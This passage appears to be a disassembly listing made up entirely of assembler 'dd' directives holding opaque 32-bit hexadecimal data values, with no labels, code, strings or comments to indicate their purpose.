		dd 3B3E466Ch, 424CFD00h, 0D8D5395Bh, 417C00BCh,	0C158797Bh
		dd 0D7EC965Dh, 30B5CF0Fh, 9B2040ACh, 0DF2C6h, 8446D4ABh
		dd 6EA77F88h, 6D731E00h, 0FB2126AAh, 70510020h,	1BEC274Ah
		dd 5D1F3325h, 1395453h,	0C384A4EDh, 0B8E45C62h,	595560ABh
		dd 0D50B63B2h, 0C260463Bh, 0ADB6BF08h, 5461FB20h, 24E95C59h
		dd 0FA96E701h, 4EB7A021h, 0EA59DC01h, 0A4BFA21h, 20C0D407h
		dd 89D176Bh, 3DA3217Ch,	8A58D040h, 0BB5D1428h, 6C0F584Ch
		dd 0F85DC7A5h, 222CF928h, 0D8433252h, 0AB55270Ch, 284267B0h
		dd 4DC82C01h, 708F5D29h, 58C7570Dh, 1FA27EECh, 0FAC248h
		dd 4F2A77B0h, 4051DC42h, 0EBB6266Fh, 2C3CF905h,	4AA50733h
		dd 0FAC08BDBh, 0ED50487h, 0AAEE32E8h, 0A39178F8h, 6F2A890Ch
		dd 50ED924h, 850269C5h,	0BC5D06h, 514BAC5Fh, 761F9298h
		dd 8C00EA68h, 0CE8EBE23h, 1820726Fh, 30C05D32h,	4B019B60h
		dd 4142F9F4h, 0BD603AD7h, 0CD513028h, 0B114DEA8h, 6F18A900h
		dd 0B3412DBEh, 9BF8E4h,	9E6A788Dh, 95727358h, 0C100EF7Fh
		dd 0F57F9AE5h, 2A7E33Eh, 0C3D2C4FFh, 60DD977Ch,	180A7260h
		dd 0C03B0E50h, 0D02662A7h, 1030649Ah, 0F0651Ah,	0A0C8BA75h
		dd 16BFEC38h, 0F21C6272h, 0BD00B97Bh, 0A3029C5Fh, 642F3071h
		dd 0E212BB49h, 6EFD7B01h, 4DCBC41Bh, 44D479C1h,	0B07128B5h
		dd 5A7000EBh, 0ED05E18h, 7F0F7D23h, 40AD837Ah, 55EFC4E2h
		dd 0FCDE1593h, 503FE48Eh, 737D5F81h, 137F49D0h,	6D619896h
		dd 0CE0F0087h, 0C99F5341h, 8800C290h, 0F7941B06h, 3D8231E0h
		dd 20007B14h, 2B3A3F2Ah, 0B1C0616Fh, 0ED5DCBA0h, 70909Bh
		dd 2BBA7FBh, 9038884Bh,	3EFF7500h, 927A39E0h, 2E4EEAFEh
		dd 1FF4E3h, 0C85A1F5Eh,	0F015FC9h, 2983E5E6h, 76801223h
		dd 0CFC08AFDh, 6F1F6117h, 3C0726A4h, 31F36E04h,	14FF98A8h
		dd 8B732E8Ch, 0FBA1002Bh, 513DB665h, 0DE54D401h, 0CD0DC826h
		dd 31F45C8h, 18C98A3Eh,	10002CD5h, 756C647Fh, 0EFE5DEh
		dd 5750F2C2h, 9E280A7Bh, 8E715C00h, 600F7690h, 75B20067h
		dd 704C65C7h, 4F1DA13Fh, 34000E82h, 0F37991DBh,	0AC84002Fh
		dd 87A5F4FDh, 38005A88h, 12D4E977h, 248C5CB1h, 3B7C4Dh
		dd 48874C66h, 6D00F85Bh, 699FB7DDh, 1C942h, 0A17805Dh
		dd 0ABDF1CF4h, 823AB673h, 0DC4C8008h, 50F33306h, 807D01EFh
		dd 9D87E083h, 9583D2CDh, 0C8002B66h, 414EC66Ah,	3A4FB389h
		dd 3E79E52Dh, 0DB02AE25h, 0B42A2E60h, 8279C460h, 0B077137Ah
		dd 7F614D16h, 0E4606A00h, 23CDB7h, 0E347B38Fh, 2C06D08Ch
		dd 1F7E903h, 0F037EB18h, 0FC0B7Dh, 17C59ADDh, 0BBDC8DAAh
		dd 0A80085FCh, 0B4ED3928h, 239650h, 4CBD2BF8h, 0C0C9B521h
		dd 850C9E3Dh, 7D4E367Eh, 0E9FF39C0h, 1150371h, 3F98D631h
		dd 0ECA7CEC0h, 4697941Dh, 34090179h, 7E54FB72h,	0CA8BECh
		dd 39BBDA0Ah, 0AE4BC123h, 467B8E00h, 2A131C89h,	9EB500EEh
		dd 83546332h, 120067A8h, 2BF751C2h, 3BCC5FCEh, 0FC80DBA1h
		dd 3AB67064h, 550005EAh, 9363F61Eh, 1291098Ah, 54EE62FAh
		dd 0A50F1410h, 0BFC0FEF1h, 17774C14h, 91203148h, 30CFE804h
		dd 0D8106077h, 8F00712Dh, 6AAA959Fh, 0E95351h, 0A89CAE09h
		dd 2A456F19h, 0F2B7D806h, 28FFC7h, 520FB0E6h, 9DC0D1E9h
		dd 3108FB81h, 0A2511363h, 2228E609h, 0E7423FC3h, 85D4FC08h
		dd 6E771E06h, 0F8A73178h, 107E3329h, 80FE66B9h,	0F567891Ah
		dd 9894A950h, 40541F04h, 8BBEECB0h, 64965095h, 8C3920C2h
		dd 3276AB42h, 9228B85Ah, 88405083h, 0F217F111h,	0BA99A10Ch
		dd 6C62CE28h, 224D6DA1h, 0E8234AA3h, 8A291093h,	0E4140F78h
		dd 47B5404Bh, 90A96151h, 3010033h, 0ABC2656h, 5002CA90h
		dd 39F03AF6h, 62AA800Bh, 220324h, 1307B6C0h, 0CB30888Ah
		dd 0A73B9F00h, 34C25C3h, 0B92000A9h, 8DF33DC5h,	6800FC18h
		dd 84CFAE1Ch, 9E4014h, 73E0FBDEh, 1F42B012h, 0E2103F2Ch
		dd 96EA803Eh, 6A17BC0Bh, 7AA9071Ch, 63A40D2Eh, 0CFD0D6DCh
		dd 5DEA8CAEh, 0B1CC4700h, 827AD9BDh, 0DD8716EDh, 76000E8h
		dd 850C114Dh, 0C13EDFA0h, 7F0E24F4h, 0A01968B7h, 8E026380h
		dd 0D4F4EF82h, 342A4847h, 5FA3EF00h, 970E12F1h,	0F9FEE900h
		dd 81A118A8h, 0D99900F8h, 9AFD7470h, 9F00C2DAh,	0BA1308CDh
		dd 58BD0E2Dh, 4101FC90h, 0FFF6B350h, 2858FCC8h,	0CA002B72h
		dd 1D724C6h, 906EECD8h,	0DF970070h, 0AC4041Ah, 1700DA31h
		dd 0E7DB58C0h, 4129D8h,	5CD2CB44h, 3456618Eh, 96F110Fh
		dd 622F43C7h, 0FDC5B837h, 7EE60098h, 6CD450DEh,	8C0005BAh
		dd 0BDF8D31Ah, 18699981h, 68187FECh, 5100C3C5h,	56A85803h
		dd 0C0C7ABh, 0CE4DAA69h, 4335346Ah, 0BDC31B00h,	962ADDC9h
		dd 9230002h, 4A1FC057h,	0E4019CA8h, 0C3A5E598h,	0ABEC035Fh
		dd 7ADE0046h, 99C7D765h, 0DF00BD59h, 5CC138FFh,	35836A5h
		dd 6375E157h, 0C0D5B56Ah, 3A0F1533h, 12295000h,	909A386Ch
		dd 5AB000A3h, 0DB7F2C01h, 110F77C7h, 0C0CF2531h, 495E24EAh
		dd 0DAD601D9h, 8A41189Ch, 3FA43046h, 0B7F20316h, 0AAB3EF00h
		dd 0DB82A4h, 0DF180DFh,	0E47B471Ch, 9AEAC800h, 4E404D33h
		dd 0D67E0011h, 0A3E27C56h, 9E3E2D57h, 8E70060h,	590AB606h
		dd 5EF837h, 24DDCFD2h, 0C9FE9CF0h, 6CD36A00h, 293B69BCh
		dd 16D400E2h, 61BED72Bh, 4E0048F8h, 5CCD15D6h, 7524B212h
		dd 1BEC00CAh, 9B286DF0h, 840085D1h, 6FDCFE0h, 0E213ACh
		dd 20E4AA96h, 0CAA71B9Dh, 3A485649h, 635E0019h,	69B70EFAh
		dd 76AC00C5h, 0B55DE6D3h, 2801D52Fh, 0A1EC3AC7h, 5C0885Fh
		dd 31CE07E4h, 0F03CB797h, 0E3BD6D08h, 0B7A458h,	0BB68E97Fh
		dd 1D40D1A7h, 0C201D9F4h, 42C7DF17h, 677E9C60h,	37161D00h
		dd 74D2E16Ah, 0D7B00C3h, 0F165A32Ah, 8E009EBCh,	0EBB5E71Bh
		dd 3715D1h, 43451964h, 0CF11BE36h, 0D39CEA00h, 0F71C5891h
		dd 0B3D000E7h, 3902463Dh, 6C0F05DEh, 8E4B1079h,	0A4B021ADh
		dd 0AEC90AAh, 24690133h, 0C9852B31h, 30C420E9h,	4D756B00h
		dd 0D50B6AFDh, 69D400BBh, 57393BE6h, 0BF00F36Eh, 87D65A7Dh
		dd 1274FB1h, 0F0BA63A3h, 0F413092Ah, 0A600728Fh, 95EBAB7Ch
		dd 590FE70h, 0AC23702h,	59BC8741h, 8DD7B400h, 5D00B54Ah
		dd 0F4C0D074h, 3F856A3h, 27D54125h, 0F0D8164Dh,	8F0073F2h
		dd 0D2DEEB0Eh, 0FAEE46A6h, 4E7A03ADh, 0D6729837h, 63FE8F0h
		dd 0ED8C4507h, 21E0E69Fh, 25CE7A1h, 785FA29h, 0C07DCD2Ch
		dd 973C72h, 0B253F320h,	7BDD869Dh, 0F6EC2400h, 75D3D0B8h
		dd 3E9B00FAh, 30EF093h,	47019017h, 88354E37h, 4BD4ECB6h
		dd 0C12600DBh, 0B4CC96C0h, 0FA003EBEh, 0E619B5DCh, 3E30B67Ch
		dd 1F775779h, 0D3D6E1h,	14743D6Bh, 4A0023D2h, 7C46FFB4h
		dd 3F706825h, 0D0093AFh, 1356CDF3h, 247D6178h, 0CFE6EA04h
		dd 0BE824187h, 0C3C0419Ah, 0B12DDCh, 651B16FCh,	7FB418D0h
		dd 4E7E291Eh, 0C3B6F280h, 3F793746h, 0A9008119h, 0FA763061h
		dd 680051BFh, 1C41C036h
		dd 39C1C245h, 380E35B9h, 33649E57h, 760D070h, 0D3014285h
		dd 6AC31C64h, 96C84B49h, 72DF0383h, 9FC003A2h, 0F8D35281h
		dd 3D00BB75h, 0AB2A7110h, 1DA105C5h, 0C0121D59h, 0BF827DF8h
		dd 9300A36Dh, 396035B3h, 21E0FFh, 89AE7065h, 0E9E70962h
		dd 0E1A0A0Fh, 2F87E0B1h, 0D3758Bh, 0D1EA8211h, 0DF5496C9h
		dd 0E4B69B00h, 0B4834250h, 5955E2AAh, 8E001C17h, 0F192C9FCh
		dd 4200F39Fh, 38F76472h, 0E2E555h, 0AD4535E7h, 91BF0C1Eh
		dd 0DB77B600h, 0CFA113A8h, 776F288h, 6A1CC87Fh,	32073979h
		dd 7C78A3B7h, 7A26D8E1h, 6A2A3CC0h, 0A9D11ED0h,	11AA4BF0h
		dd 0F7B47E00h, 343A23C4h, 0EEF382BFh, 60D30B79h, 197FE130h
		dd 30D0D680h, 2B71309Bh, 0FD518D01h, 0A6D45E4Bh, 0B7CADCh
		dd 0E5D0FBA8h, 4553F1D6h, 31D51B00h, 78BCB2BBh,	4641015Eh
		dd 16D96BF3h, 0F8DBD16Ch, 0F4509B87h, 1E005F80h, 75A634B2h
		dd 33D61Ah, 0B5803C4Bh,	0B3E60189h, 0F58B5900h,	4DA984B1h
		dd 0B9DC0072h, 0BD9F7C1Bh, 0FF006128h, 95C78255h, 0AC62A6h
		dd 4E7FC8E8h, 0FE9E76A7h, 0DC047702h, 0C0866411h, 75F8583Bh
		dd 7533033Ch, 0AC7C66C4h, 9081B5D8h, 0EB3F7E00h, 44D87845h
		dd 0B046FEC6h, 0B3840113h, 9C044E3Ah, 4DB0D003h, 766B4302h
		dd 60DC54C9h, 2024DEh, 143D64CBh, 390458F4h, 6AFAB01Dh
		dd 57342D00h, 19E566h, 0F218D386h, 0C56CC89Fh, 0E29B0B00h
		dd 9ECB1CEAh, 0EE250065h, 0E35B566Eh, 34000EBAh, 0AB1D3F05h
		dd 8863D0h, 6949C708h, 397265CEh, 0C600AAF8h, 0AC2CB089h
		dd 1740A996h, 13A40646h, 669C4377h, 8380D138h, 97009F31h
		dd 6D068D16h, 0A492F2h,	0D51CA8D8h, 0D17CF8E7h,	0A9AFF000h
		dd 44E4C753h, 1EA7543h,	9BEC46EFh, 20FD5A7Eh, 0A630AD68h
		dd 728EE2B9h, 0DFE300F6h, 427E6588h, 0F4FD2BABh, 3500B008h
		dd 1A8AF9D0h, 5F1CB5h, 9A0CCB36h, 0B65CE127h, 0A3B2CA12h
		dd 5000801Eh, 5976E712h, 8E755CE5h, 46872F0Fh, 193DA060h
		dd 0FD00A948h, 772CD3CFh, 0FC328Fh, 97232ADFh, 0A57E4BB1h
		dd 38F1B500h, 0BA1099E2h, 1C50005Ch, 96DCD519h,	9701A425h
		dd 0F71777A6h, 0D34339F9h, 48E580FAh, 0DAFCDDh,	22433420h
		dd 524494C4h, 0CEC8260Eh, 8EB3802Ch, 0F63FDC0Ch, 0AC30F05h
		dd 0C5E05162h, 95A21E21h, 0EFBA1F02h, 0C31370D1h, 0DB80CD56h
		dd 16B610h, 0ED2EF876h,	0D41DEF50h, 0C5253600h,	0D12C4308h
		dd 5B87008Ch, 0E7AB6769h, 18E24C7Fh, 47045701h,	40C13703h
		dd 1FD73EF4h, 40CEBE73h, 71461872h, 48000E1Ch, 0B6D80CB2h
		dd 12E9C34h, 5EAEB356h,	0E8D159ADh, 0EC0019ACh,	39632A99h
		dd 0F0B2129h, 0A494D485h, 2E31FFA0h, 5C000892h,	0EC55569Eh
		dd 1FA9B9E0h, 40545DD7h, 0DECC1579h, 7000CBF9h,	0BAAC7BA8h
		dd 20441D6h, 0D3A58E02h, 4CE033B7h, 1F2609BDh, 0BB9D5C31h
		dd 0F3422900h, 0B6DCEAh, 160E52F6h, 0BA7C5C15h,	0F2456A1Dh
		dd 1DC2E740h, 3AF93B7h,	7D11951Eh, 0CBE8D87Ah, 2C00CDE4h
		dd 0A53231C1h, 90894602h, 66650037h, 203E0F70h,	16001407h
		dd 0CDFA6DB6h, 736EE987h, 54E41FEFh, 17514009h,	0F8CEFE7Eh
		dd 5871A105h, 80EEA312h, 0A432E4C3h, 2C688330h,	24107Ah
		dd 0CDC9654Fh, 0A7BCCCFFh, 0BEF86709h, 2D788Fh,	27BFAF4Ch
		dd 0C8712392h, 0A593C30Fh, 434160D5h, 1D21A1F2h, 8238242Bh
		dd 75532856h, 0B08067E2h, 167BBCC9h, 9001877Dh,	54E772Ah
		dd 50D93DE3h, 6440A061h, 4CBBD412h, 1001447h, 0D07F4AACh
		dd 9101825Ch, 0B4EB17ECh, 63D2E151h, 0BAB2E01Ch, 8F70380h
		dd 97BCC7BEh, 0E81249B1h, 9872CB9Fh, 61242504h,	0D8D0F122h
		dd 3ED52767h, 2D0F4620h, 0B780D139h, 1090526Fh,	0A8D08428h
		dd 3615E400h, 0EF51332Bh, 1E21E4E1h, 87DB96D8h,	77B724F7h
		dd 72AF10A5h, 9B01FC08h, 0EBF1CBDh, 48718DE1h, 71E44EF4h
		dd 0A8010060h, 7E6C6B5Ah, 770ABCFFh, 0A832D443h, 4E9CA701h
		dd 24182160h, 2848A10Fh, 8BAC2A72h, 251EA000h, 94C9C2h
		dd 9FF0F8B4h, 0C19F3EDh, 0E4263B14h, 0F61A0E88h, 754BC0D4h
		dd 3413834h, 5F252A76h,	28D8F0F9h, 639A5C2h, 0F3F20723h
		dd 6DF0A9ADh, 7417BD6Fh, 8C730303h, 8A2CFB75h, 8860C29Ah
		dd 1C00CE1Fh, 0EDCD4374h, 2C70FEFh, 56D6E36h, 0D540161Bh
		dd 793A6F09h, 343500F2h, 0DE087A19h, 8EE30071h,	6AD27F4Eh
		dd 440085CBh, 0C220174h, 1367C983h, 704A53BDh, 814C3988h
		dd 560D6513h, 590F6007h, 0F721FDC0h, 686D00ADh,	333A492Bh
		dd 0B400510Ch, 56302D74h, 48E493h, 0A25DB842h, 4757D4B3h
		dd 0AFE2AD00h, 7E131466h, 480F00CBh, 0A50F2C0h,	0BCA422D8h
		dd 32658607h, 6FFE5817h, 537840C2h, 1308CCE5h, 0A0B57Ah
		dd 153C7700h, 1F00EA27h, 534140ABh, 35459Ch, 0B8638A5Dh
		dd 10EE7628h, 0D1A9F900h, 20ED92DAh, 6A7200A4h,	162AFBACh
		dd 8B005A28h, 4E18B968h, 4B1D91FEh, 0CF701C8Ch,	3EE029E8h
		dd 0DE55CC8h, 0DD2B0300h, 228E123Fh, 6DCB05DFh,	0C1E37D3Ah
		dd 0F81B5ADCh, 743EAD2Dh, 3F0CCCF0h, 0E47000A8h, 37D2ACEDh
		dd 0EC157367h, 97F05C13h, 0C1EA0C12h, 10D3A8ACh, 0ABA4EBh
		dd 0ACB09ED8h, 5841F1C0h, 0AD782800h, 8561CEB5h, 517E0057h
		dd 602B4302h, 3500037Dh, 0C916E044h, 0F8E7049h,	6C059CC2h
		dd 201387BEh, 0AF58D0E2h, 460055C5h, 0E4964B3Ah, 4ACD3Bh
		dd 9F8334EBh, 630CC6B2h, 3215D70Ah, 49039722h, 0D854A0CAh
		dd 4CE2E4DBh, 1C4D6C98h, 3DE007Bh, 6806BAB4h, 90005737h
		dd 6B8C19B3h, 7C1ECDFFh, 55080063h, 4E374A9h, 4B023C7Eh
		dd 0FB49501Ch, 0E684E03Bh, 0DE952EB5h, 2CC000E5h, 0FE69C44Ah
		dd 1906EB00h, 4CFF6079h, 73E00Ch, 768E5F75h, 1B16C241h
		dd 53002090h, 3961489Dh, 8FBC3Dh, 9A6AA8D7h, 281095ACh
		dd 0B9DDF600h, 46834D27h, 18C04C54h, 47F34876h,	0B4C81371h
		dd 5A9481D7h, 75A07B30h, 0E571C38h, 0F61B409Eh,	0CDD536AAh
		dd 0B7E75C00h, 35ED6974h, 6570FF9h, 0F12066A0h,	0F26555DCh
		dd 7027212h, 80A56833h,	9A7CDFh, 20E04CD4h, 0B558BD72h
		dd 0A15CD21Eh, 73797641h, 5BCC348Bh, 48648D0h, 9BB40A05h
		dd 198A00D6h, 58AD9CC4h, 0ABBD2300h, 0DF89FA93h, 0FBBB1D91h
		dd 3FA7C7B8h, 6F5C726Ah, 0B282440h, 8E900300h, 9FE2437Eh
		dd 6C945C93h, 0E8964200h, 983B991Eh, 3AAAE600h,	93320C8Ch
		dd 0D95F01CEh, 510940AEh, 22C4E801h, 39EF9C0Bh,	96FC801Ah
		dd 82CAA1h, 86911004h, 66C0C59Eh, 0FC052800h, 0C70B8841h
		dd 27351D87h, 2F02C05Ah, 0B275A057h, 8E216800h,	25BF6C66h
		dd 56C22683h, 80979E0Ch, 7F262D4Bh, 13E655DFh, 98675109h
		dd 0B6D40434h, 0D7C81CFEh, 3DB800FEh, 0C3FF6677h, 97263701h
		dd 0DE5089E2h, 0B5060h,	0A570B84Fh, 0FFF28E38h,	0CD782900h
		dd 9C3A5FF7h, 6C013F7Dh, 0B8EFA380h, 0B272F9B9h, 0C4C92901h
		dd 4F821349h, 0A700467h, 168533F8h, 0CB540198h,	33B2B024h
		dd 12E90078h, 64C62FFAh, 25C501C4h, 0E09E772Bh,	0C05C607Ah
		dd 84B5F01h, 0E57024ECh, 0EAE6EACCh, 51773CFDh,	35464D00h
		dd 3481ED0Ch, 0E2D23D17h, 0DC69CA00h, 84408Ah, 619FF6CDh
		dd 1C800A4Bh, 710048F8h, 0D6D016C6h, 0FCF4FD51h, 7AFE9Eh
		dd 7B2B46D3h, 11EA100Dh, 0B50014B8h, 0AB69FFADh, 4667D6h
		dd 4B6423F0h, 0C7FA8537h
		dd 4F37C097h, 0AD50097h, 2F1DF539h, 3F00CA18h, 0EBF88E4Dh
		dd 3FF04113h, 4CDC5F50h, 0D3160B1Ch, 681C0Dh, 0F37E381Dh
		dd 1000579Bh, 9326E069h, 0E4FF9197h, 2F707CCh, 0A0417BE7h
		dd 0F94CE8A7h, 4E081002h, 0DA15A0EFh, 0DFE500C4h, 0EB803C7Dh
		dd 6D010D2Ch, 22040F02h, 0A4605B8Fh, 8E290008h,	57B0064Fh
		dd 4B075DF4h, 4443802Ch, 9B8ADFE0h, 0CA2A00D7h,	579F8FCFh
		dd 0E01D58A3h, 29809E6Ch, 0B87328A0h, 9A900A7h,	0BEA57D49h
		dd 2C01906Eh, 0FD01DC0Ah, 0F9C0D189h, 0FCA048F3h, 4D52F500h
		dd 5928606Ch, 3C104C3Bh, 8AFE00BBh, 0CF831FAAh,	0F6AD00A8h
		dd 0C7D471BDh, 3800AC7Ah, 17B45937h, 58342FD9h,	0E300E4A1h
		dd 6E71EF14h, 0D607C555h, 3C38D147h, 9A131CB0h,	0E7BA0F62h
		dd 74C042CAh, 0BB98110Ch, 84A69500h, 75E99620h,	0BD440032h
		dd 0FFEBD5D7h, 2F09A906h, 0ED58CBh, 57CEB417h, 0CAB50080h
		dd 0F5D9698Dh, 94173C9Fh, 0E4006179h, 4A8F441Fh, 96CF003Fh
		dd 5F7124F4h, 0B000475Eh, 54DF17F5h, 19BD33h, 0E257EB35h
		dd 0DB931ECEh, 4B0C9F24h, 0F354B100h, 0D08D17h,	88BA86A1h
		dd 95188038h, 326AAECh,	7B04648Ah, 3340C55Fh, 24C8DAFFh
		dd 3CBF3500h, 28203EF8h, 0A39F073Ah, 622B3857h,	81404C84h
		dd 957975A2h, 10012100h, 665B31Eh, 99C83AD0h, 7CD54C80h
		dd 972B830Bh, 0C996B700h, 50AFE55Fh, 27FE7D42h,	37DC4EB9h
		dd 7DE01400h, 0BE238EAh, 0A2DD8CCBh, 0FD4608E0h, 0DC683Eh
		dd 7FED2B88h, 2B30811h,	396AA7F1h, 30D0479Eh, 8B4DD500h
		dd 6949B6C7h, 14C92D1Fh, 9860D48Eh, 629DE66Ah, 0DB2F3Eh
		dd 4715D020h, 0E4001E5h, 503F7990h, 253D8040h, 0E903A7B1h
		dd 1539BF8Fh, 0C23781A1h, 7CED8F20h, 22910169h,	0A41A8946h
		dd 771070DCh, 0B4FC6301h, 6B45678Bh, 95A5F0h, 1A9A824Dh
		dd 8D3284CBh, 8026433Dh, 6D09DBD9h, 7B6B05FBh, 96ED0EE2h
		dd 7AA128C6h, 7F568113h, 0B81516A0h, 349000C4h,	5B50D0E7h
		dd 0AE00B59Eh, 0D9A9435Eh, 0EA413011h, 54E01CCDh, 1E6640E2h
		dd 0BB2A85BFh, 0B2FED100h, 0F75F8335h, 7120F0BCh, 7E2D03B5h
		dd 0A6BFF8C4h, 0D0E887F3h, 0C307253Fh, 0C608F71h, 1830A830h
		dd 371F03C2h, 28B0DA12h, 8E9C2000h, 2DD8BE82h, 24B10059h
		dd 6ADE580Fh, 0EA1D6C2Ah, 0C040D172h, 0EC5AA21Fh, 38276159h
		dd 70797378h, 96F8A548h, 803EA000h, 0C3B891CAh,	0F2CC0BDCh
		dd 0A820AADBh, 92371ED7h, 0E607AC90h, 0A8FD0830h, 0DCC33955h
		dd 1CEED88Fh, 0DE11C0E7h, 0FFEC42C4h, 0AEF4ECE9h, 6437F600h
		dd 75D3E4C1h, 0B038FEE0h, 87060B57h, 0E4A05C0Fh, 6DEA6FD1h
		dd 10772B7Eh, 0F7478B09h, 1A90108h, 0C4207EEDh,	0BFB81F70h
		dd 575CB88h, 0F803908Fh, 41D8C792h, 2720BABh, 37F725Ch
		dd 8BA25DBEh, 8350A7E9h, 7F78AAF0h, 82BC00EDh, 0E22DFD8Eh
		dd 0AC005F3Eh, 531D9D10h, 0FFD21EC1h, 0F7A44630h, 95C330h
		dd 17B9BB39h, 2C44D856h, 1E8E9F00h, 0CA684CFBh,	3BD72B1h
		dd 2AD62E7Ch, 1DE05E5Bh, 790F6031h, 80F085C5h, 5329EE9Fh
		dd 554B0013h, 85A6D2Fh,	85013638h, 3296E863h, 99E4C2EFh
		dd 1EE00B7h, 0EA516603h, 0A9000D47h, 0C2E70979h, 71E7B30h
		dd 6D984FEDh, 41F7907Ah, 0E5000B24h, 440E5143h,	7935FFFDh
		dd 0FEA10915h, 0E4001025h, 147322BDh, 46079601h, 7F0F5BEDh
		dd 115C50C2h, 0AD4560h,	0FC190DBCh, 15D2FDh, 0EA31FCAh
		dd 0C06E1E23h, 0D09F8A1Ch, 26DCDD14h, 873A72A2h, 0AC651396h
		dd 67E187F0h, 632403A3h, 2D754EA5h, 256E55E0h, 0CC816A00h
		dd 0C43FAB9Bh, 0ED0A0078h, 67347E6Ch, 0AC3EE8FAh, 0B5F5006Bh
		dd 870DA098h, 85F3012Fh, 1825512h, 81F8DC35h, 0A0B85B00h
		dd 0A2C5E076h, 23842ED4h, 5F89010Fh, 0FDB51216h, 0DFF480D8h
		dd 7C9014D3h, 2CB0CB4Ch, 60BA40C9h, 9F00F168h, 516F6938h
		dd 3C01C748h, 23CBC39h,	0B4A03CA5h, 7550388Ah, 80F77F27h
		dd 18134F8Ch, 0F2C00015h, 0A4C54CD7h, 0CA03C8C2h, 81578B70h
		dd 1D280535h, 0B26314D2h, 0F7EC0074h, 0CF5819D9h, 285D1D62h
		dd 88EB009Ch, 0CBE6208Ch, 865FB80Fh, 2915841Dh,	0C4E0CC0h
		dd 341A3E68h, 64727104h, 2C54C03Ch, 0C6008B17h,	9027B933h
		dd 0ACBE5Bh, 468375BBh,	0CE3B1204h, 0B6B0200h, 7E88574Eh
		dd 96BA04A8h, 0C7044542h, 0C77D0F4h, 340220D8h,	0AB9A1A69h
		dd 81C84083h, 0C43500FEh, 0AA0AEF0Eh, 507C9A7h,	67EB2045h
		dd 18C1C39Eh, 28FFD8B6h, 5CE70471h, 0F0755E95h,	0C212F620h
		dd 480B091h, 355E0F9h, 1EDC76Ah, 1900CC69h, 6E468DC0h
		dd 12EAE4CAh, 0A5EEFE9Bh, 0F5FD30E0h, 0FCA58905h, 0B7021999h
		dd 0C8C69BACh, 390AE690h, 0B7806A71h, 202A97A7h, 0F17ACB08h
		dd 6912F798h, 0A70F2563h, 0FC4C41E8h, 0CBECEAD5h, 95A0009Fh
		dd 0ACB22250h, 170570BFh, 5BC93311h, 0E512F500h, 1D54C8FFh
		dd 0C090EA35h, 3F672A3Dh, 0A100D48Ah, 2698DDECh, 4A1D7258h
		dd 0C5EC8052h, 5E3E5A7Eh, 0F1138421h, 5CD08E6Dh, 0FCCA9ACBh
		dd 1B33483Dh, 2EDE5300h, 0E4A7AF6Ch, 8CBDA51Fh,	0EBF39C40h
		dd 0CF0436h, 0BC779E43h, 4DC44E95h, 0A628DE00h,	8BF0541Eh
		dd 7489729Ch, 0D0260084h, 418306CAh, 7400A53Eh,	0B5391CAAh
		dd 29628DAh, 1991FFE2h,	0EC62AD80h, 619B0180h, 361FD0E4h
		dd 67004376h, 898C85C7h, 0B09F01DEh, 55C59ED8h,	0DFD0D7EBh
		dd 4D0CD402h, 10DCF30Eh, 7A9900A3h, 3FA18FC8h, 0B6076D6Ah
		dd 82C22BB4h, 175072C9h, 412A11F2h, 980E28A0h, 41CAE4F0h
		dd 8C49CB00h, 64B6A919h, 16A52508h, 760E2CE4h, 0C0FB5DB9h
		dd 5842DAA9h, 0D53005Fh, 0BB2C2FC4h, 7B5C338Eh,	0F4B20F6Eh
		dd 64E3609Fh, 78C63225h, 7D1E00EFh, 17AAFD34h, 3B1C20D4h
		dd 0BE00A75Ch, 0C982DEF6h, 58530064h, 402BB354h, 0AA008E03h
		dd 56AC0823h, 7F1E3BDh,	0A334DFD7h, 0FB009E2Ch,	49139A5Eh
		dd 0F799D524h, 7131FA00h, 1F43AA5Fh, 80A28BAFh,	0FCEBD85Ah
		dd 0DB00CF3Ah, 46084B61h, 100D70h, 921FA263h, 0FEAD7558h
		dd 0E42FA900h, 0B8BE5582h, 0CC7D0362h, 8B20CFF6h, 7F2B65E0h
		dd 9D786900h, 0C6DF3B6h, 923E007Ah, 0FD03180Ah,	6303B9ACh
		dd 1DC409B5h, 5032E0DFh, 34A7594h, 0ADB07CBBh, 6FA9DAF8h
		dd 376420FCh, 11A29300h, 1E6986EAh, 18E904B7h, 82F0BFDDh
		dd 0DBE057ACh, 6B00BD6Ch, 3CDB5CF8h, 1334CD1Fh,	59DF8Fh
		dd 18A4B193h, 201CD0CCh, 0E340F29Ch, 173C08D1h,	0C360161h
		dd 0A3889780h, 7FBB20E7h, 0F2571600h, 943E7019h, 0AC400C9h
		dd 0BAB80609h, 330EDE9Ah, 5C163D67h, 50F2803Bh,	0C0694DC5h
		dd 97A0040h, 956F9FE1h,	0AE003F4Ah, 12299ED2h, 0B7DEC7h
		dd 0CE484E1Ch, 2D941380h, 877F0400h, 0F0DB56C1h, 0F853009Fh
		dd 91CBC6FBh, 5A004864h, 0D3A260F1h, 0A85FB3h, 0EC43D0D2h
		dd 0E0416DEEh, 0BCF64907h, 45B0C2F2h, 91FC307h,	4CDF61C7h
		dd 9EAB6C80h, 58BA4E3Fh, 78EBE01Dh, 66C62500h, 1DB98CD4h
		dd 8020F636h, 77A043E7h, 25F0E889h, 316BA700h, 0D8922B3Ah
		dd 0CC170F76h, 0BA20EC88h, 5E8D0355h, 291C0700h, 0AD20F7DBh
		dd 239400EBh, 0D2ACC43Ah, 0D90B3F41h, 1BD687Eh,	62A8EFFCh
		dd 12E4D5C8h, 8CBCF3h, 0D274F0DCh, 7800B945h, 95F844Fh
		dd 0E5921A88h, 0D17460h, 5B504E36h, 0DE87AC76h,	393BDD07h
		dd 0A9E291DFh, 64E0E002h
		dd 9FEC037Bh, 7D1BCCB1h, 104E33E8h, 1604BB7Eh, 4A31D058h
		dd 0CC710C1h, 0B6114480h, 13092D62h, 0EF513400h, 158FF845h
		dd 997F0EAAh, 5FD285EDh, 6CB4C010h, 7172F6A5h, 3700BDE2h
		dd 30680B70h, 146C3B7h,	81457D89h, 70AAA2F1h, 0BD00AB8Dh
		dd 49F8242Bh, 17E39Bh, 0C21F3670h, 61273223h, 2019D426h
		dd 7E8010C1h, 6A31F4h, 0AB21ADCDh, 82E10F98h, 11B3CA03h
		dd 987FA35Ah, 6183AEh, 7CF854F2h, 46E778F9h, 9006FF6h
		dd 70DC551Ah, 7D77B67Ah, 0E4477F3h, 8EDB943Dh, 625C05Eh
		dd 0E1C9C69Ah, 0DE1D4A00h, 0D3E7F541h, 0D8FD0015h, 0D5A78293h
		dd 1C1CA8C2h, 780198CDh, 68B68CEFh, 167820h, 0B4AA3BF1h
		dd 83A33DA1h, 13D45E00h, 5F36719Ch, 0B0F2006Dh,	0FD53378Bh
